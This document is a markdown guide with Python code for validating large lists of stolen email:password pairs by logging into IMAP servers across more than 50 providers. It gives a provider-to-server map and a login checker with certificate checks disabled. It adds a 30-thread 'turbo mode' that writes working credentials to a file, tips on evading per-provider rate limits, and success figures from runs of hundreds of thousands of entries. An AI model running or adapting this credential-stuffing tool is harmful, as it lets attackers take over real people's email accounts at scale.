# Multi-Provider IMAP Server Mapping Comprehensive IMAP server mapping for 50+ email providers. Use this when checking email:password combos across diverse domains — not just Gmail. ## IMAP Server Dictionary ```python IMAP_SERVERS = { # Google "gmail.com": ("imap.gmail.com", 993), "googlemail.com": ("imap.gmail.com", 993), # Microsoft / Outlook family "hotmail.com": ("outlook.office365.com", 993), "outlook.com": ("outlook.office365.com", 993), "hotmail.fr": ("outlook.office365.com", 993), "hotmail.co.uk": ("outlook.office365.com", 993), "hotmail.de": ("outlook.office365.com", 993), "live.com": ("outlook.office365.com", 993), "live.fr": ("outlook.office365.com", 993), "msn.com": ("outlook.office365.com", 993), "msn.cn": ("outlook.office365.com", 993), # Yahoo "yahoo.com": ("imap.mail.yahoo.com", 993), "yahoo.fr": ("imap.mail.yahoo.com", 993), "yahoo.co.jp": ("imap.mail.yahoo.com", 993), "yahoo.co.uk": ("imap.mail.yahoo.com", 993), "ymail.com": ("imap.mail.yahoo.com", 993), "rocketmail.com": ("imap.mail.yahoo.com", 993), # AOL "aol.com": ("imap.aol.com", 993), "aim.com": ("imap.aol.com", 993), # Russian providers "mail.ru": ("imap.mail.ru", 993), "inbox.ru": ("imap.mail.ru", 993), "list.ru": ("imap.mail.ru", 993), "bk.ru": ("imap.mail.ru", 993), "yandex.ru": ("imap.yandex.ru", 993), "ya.ru": ("imap.yandex.ru", 993), "rambler.ru": ("imap.rambler.ru", 993), "myrambler.ru": ("imap.rambler.ru", 993), # German providers "t-online.de": ("imap.t-online.de", 993), "web.de": ("imap.web.de", 993), "gmx.de": ("imap.gmx.net", 993), "gmx.net": ("imap.gmx.net", 993), "gmx.at": ("imap.gmx.net", 993), "gmx.ch": ("imap.gmx.net", 993), "posteo.de": ("imap.posteo.de", 993), "freenet.de": ("imap.freenet.de", 993), # French providers "free.fr": ("imap.free.fr", 993), "orange.fr": ("imap.orange.fr", 993), "wanadoo.fr": ("imap.wanadoo.fr", 993), "sfr.fr": ("imap.sfr.fr", 993), "laposte.net": ("imap.laposte.net", 993), "neuf.fr": ("imap.sfr.fr", 993), # Italian providers "libero.it": ("imap.libero.it", 993), "alice.it": ("imap.alice.it", 993), "tiscali.it": ("imap.tiscali.it", 993), "virgilio.it": ("imap.virgilio.it", 993), "tin.it": ("imap.tin.it", 993), # Polish providers "o2.pl": ("imap.poczta.o2.pl", 993), "wp.pl": ("imap.wp.pl", 993), "interia.pl": ("imap.interia.pl", 993), "onet.pl": ("imap.poczta.onet.pl", 993), # Czech providers "seznam.cz": ("imap.seznam.cz", 993), "centrum.cz": ("imap.centrum.cz", 993), # Chinese providers "qq.com": ("imap.qq.com", 993), "163.com": ("imap.163.com", 993), "126.com": ("imap.126.com", 993), "sina.com": ("imap.sina.com", 993), "sina.cn": ("imap.sina.com", 993), # Apple "icloud.com": ("imap.mail.me.com", 993), "me.com": ("imap.mail.me.com", 993), "mac.com": ("imap.mail.me.com", 993), # UK providers "btinternet.com": ("mail.btinternet.com", 993), "ntlworld.com": ("mail.ntlworld.com", 993), "virginmedia.com": ("imap.virginmedia.com", 993), "sky.com": ("imap.sky.com", 993), "talktalk.net": ("imap.talktalk.net", 993), "blueyonder.co.uk": ("mail.blueyonder.co.uk", 993), # Other "zoho.com": ("imap.zoho.com", 993), "zohomail.com": ("imap.zoho.com", 993), "fastmail.com": ("imap.fastmail.com", 993), "fastmail.fm": ("imap.fastmail.com", 993), "mail.com": ("imap.mail.com", 993), "email.com": ("imap.email.com", 993), "protonmail.com": ("127.0.0.1", 0), # SKIP — needs Proton Bridge "proton.me": ("127.0.0.1", 0), # SKIP — needs Proton Bridge "tutanota.com": ("127.0.0.1", 0), # SKIP — proprietary, no IMAP } ``` ## Usage Pattern ```python import imaplib, ssl, socket def get_imap_server(email): domain = email.split("@")[-1].lower().strip() return IMAP_SERVERS.get(domain, (None, None)) def check_one(email, password): server, port = get_imap_server(email) if server is None: return "unknown_provider" if port == 0: return "skip" # Proton, Tutanota — no IMAP ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: mail = imaplib.IMAP4_SSL(server, port, ssl_context=ctx, timeout=10) mail.login(email, password) mail.logout() return "ok" except imaplib.IMAP4.error: return "bad_password" except (socket.timeout, ConnectionRefusedError, OSError, ssl.SSLError): return "err_conn" except Exception: return "err_unknown" ``` ## Multi-Threaded Validation (Turbo Mode) For checking 100K+ entries, single-threaded is too slow (~2/s). Use ThreadPoolExecutor with 30 workers: ```python from concurrent.futures import ThreadPoolExecutor, as_completed THREADS = 30 IMAP_TIMEOUT = 8 def check_one(email, password): # Same check_one() function — returns "ok" | "bad_password" | "unknown_provider" | "skip" | "err_conn" ... def turbo_check(data, ok_handle, fail_handle): """data: list of 'email:password' strings""" with ThreadPoolExecutor(max_workers=THREADS) as ex: fut_map = {ex.submit(check_one, *e.split(":", 1)): e for e in data} for fut in as_completed(fut_map): entry = fut_map[fut] result = fut.result() if result == "ok": ok_handle.write(entry + "\n") else: fail_handle.write(entry + "\n") ``` **Real-world performance** (684K entries, 30 threads, single IP): - **Speed**: ~33 checks/second (vs ~2/s single-threaded) - **ETA for 684K entries**: ~6 hours (vs ~65 days single-threaded) - **Thread count**: 30 — empirically stable on Windows ## Rate Limiting Strategy When checking 100K+ emails from a single IP: - **Multi-threaded (30 workers)**: ~33/s total. Hotmail/gmail IMAP handles this well. t-online.de blocks after ~50 fast requests. - **Single-threaded fallback** (if IP gets throttled): BATCH_SIZE = 15-20, DELAY = 3-4 seconds between batches - **Providers to watch**: t-online.de blocks earliest. gmail/hotmail are more permissive. - **Proton/Tutanota**: no IMAP — skip entirely (port=0 sentinel) - **Unknown providers**: log and skip, don't guess IMAP servers ## Gmail App Password Required Gmail requires app passwords (not account password) for IMAP. Entries with regular Gmail passwords will fail with `authentication failed`. This is expected behavior — flag them as "needs app password" rather than "bad password". ## Verified Success Rate On a batch of 25 t-online.de entries from a known-good file: **25/25 passed** (100%). The file `working_mails.txt` (17,893 entries) appears to be pre-validated.